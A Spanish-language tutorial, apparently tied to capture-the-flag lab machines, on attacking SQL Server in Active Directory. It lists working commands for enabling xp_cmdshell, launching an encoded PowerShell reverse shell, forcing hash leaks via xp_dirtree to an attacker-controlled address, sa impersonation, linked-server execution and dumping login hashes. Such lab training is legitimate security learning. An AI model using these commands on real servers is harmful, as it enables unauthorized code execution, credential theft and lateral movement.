Pentesting de MSSQL: xp_cmdshell, suplantación, servidores enlazados y robo de hashes
Atacar SQL Server en un dominio: conectarse con mssqlclient, ejecutar comandos con xp_cmdshell, escalar con EXECUTE AS, servidores enlazados y robo de hashes.
SQL Server (puerto 1433) aparece una y otra vez en las máquinas de Active Directory del catálogo: Querier, Escape, Manager, StreamIO, EscapeTwo... Un usuario con acceso a la base de datos puede acabar ejecutando comandos en el servidor, robando el hash de su cuenta de servicio o saltando a otro servidor. Es la técnica de abuso de MSSQL.
1. Conectarse
# Cuenta de SQL (usuario propio de la base de datos)
impacket-mssqlclient sa:'Contraseña1'@10.10.10.10
# Cuenta de Windows / del dominio
impacket-mssqlclient corp.local/usuario:'Contraseña1'@10.10.10.10 -windows-auth
# Con NetExec: prueba credenciales y lanza consultas
nxc mssql 10.10.10.10 -u usuario -p 'Contraseña1'
nxc mssql 10.10.10.10 -u sa -p 'Contraseña1' --local-auth -q 'SELECT @@version'
Las credenciales suelen salir de un fichero de configuración en un recurso compartido (connectionString, .config, .ini) o de un documento, como en Querier (una macro de Excel) o en EscapeTwo (otra hoja de cálculo).
2. Reconocer el terreno
Dentro de mssqlclient, los comandos que empiezan por enum_ lo hacen por ti:
SELECT SYSTEM_USER, USER_NAME(), IS_SRVROLEMEMBER('sysadmin');
SELECT name FROM sys.databases;
enum_logins
enum_impersonate
enum_links
Lo importante es si eres sysadmin (puedes hacer casi todo), a quién puedes suplantar y qué servidores enlazados hay.
3. Ejecutar comandos con xp_cmdshell
Si eres sysadmin:
enable_xp_cmdshell
xp_cmdshell whoami
-- o a mano
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami /priv';
Los comandos corren como la cuenta de servicio de SQL Server (NT SERVICE\MSSQLSERVER o una cuenta del dominio). Casi siempre tiene SeImpersonatePrivilege: de ahí a SYSTEM hay un paso con la guía de SeImpersonate y Potatoes.
Para conseguir una shell, descarga y lanza nc.exe o una reverse shell de PowerShell en base64 (el generador de PowerShell te la da hecha):
EXEC xp_cmdshell 'powershell -enc JABjAGwAaQBlAG4AdAAgAD0A...';
4. Robar el hash de la cuenta de servicio
Aunque no seas sysadmin, casi cualquier usuario puede pedir a SQL Server que liste una carpeta... de tu equipo. Al conectarse, se autentica con la cuenta de servicio:
sudo responder -I tun0 # o: impacket-smbserver -smb2support x .
EXEC master..xp_dirtree '\\10.10.14.5\x';
-- alternativa
EXEC master..xp_fileexist '\\10.10.14.5\x\y';
Crackea el NetNTLMv2 con hashcat -m 5600 (cracking de hashes) o, si hay dónde, retransmítelo (NTLM relay). Así empiezan Querier y Escape.
5. Suplantar a otro login
EXECUTE AS permite actuar como otro login si te lo han concedido (IMPERSONATE). Si ese otro es sa o sysadmin, ya lo eres tú:
enum_impersonate
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
-- en una base de datos con TRUSTWORTHY activado, también como usuario dbo
USE basededatos; EXECUTE AS USER = 'dbo';
En mssqlclient existe el atajo exec_as_login sa.
6. Servidores enlazados
Un linked server es otro SQL Server (o la misma instancia con otras credenciales) al que este puede lanzar consultas. A menudo el enlace usa una cuenta con más privilegios que la tuya:
enum_links
EXEC ('SELECT SYSTEM_USER') AT [SQL02];
EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [SQL02];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [SQL02];
En mssqlclient: use_link SQL02 y luego los comandos normales. Fíjate en que las comillas se duplican en cada nivel de anidamiento.
7. Leer ficheros y secretos
-- Leer un fichero (necesita permisos de BULK)
SELECT * FROM OPENROWSET(BULK 'C:\inetpub\wwwroot\web.config', SINGLE_CLOB) AS x;
-- Hashes de los logins de SQL (si eres sysadmin)
SELECT name, password_hash FROM sys.sql_logins;
Los hashes de sys.sql_logins se crackean con hashcat -m 1731 (SQL Server 2012 o posterior). Y las tablas de la aplicación suelen tener usuarios y contraseñas que se reutilizan en el dominio, como en StreamIO.
Errores típicos
Login failed for usercon una cuenta del dominio: te falta-windows-auth.xp_cmdshelldice que no tienes permiso: no eressysadmin. Revisaenum_impersonateyenum_linksantes de rendirte, y usaxp_dirtreepara el hash.xp_dirtreeno manda nada: el servidor no puede salir por el 445 hacia ti. Prueba con una ruta WebDAV (\\10.10.14.5@80\x) y un servidor HTTP que capture NTLM.
Y después
Con el hash de la cuenta de servicio crackeado, esa cuenta puede tener un SPN: es el punto de partida de un silver ticket (movimiento lateral) y de la enumeración del dominio con BloodHound (enumeración de AD).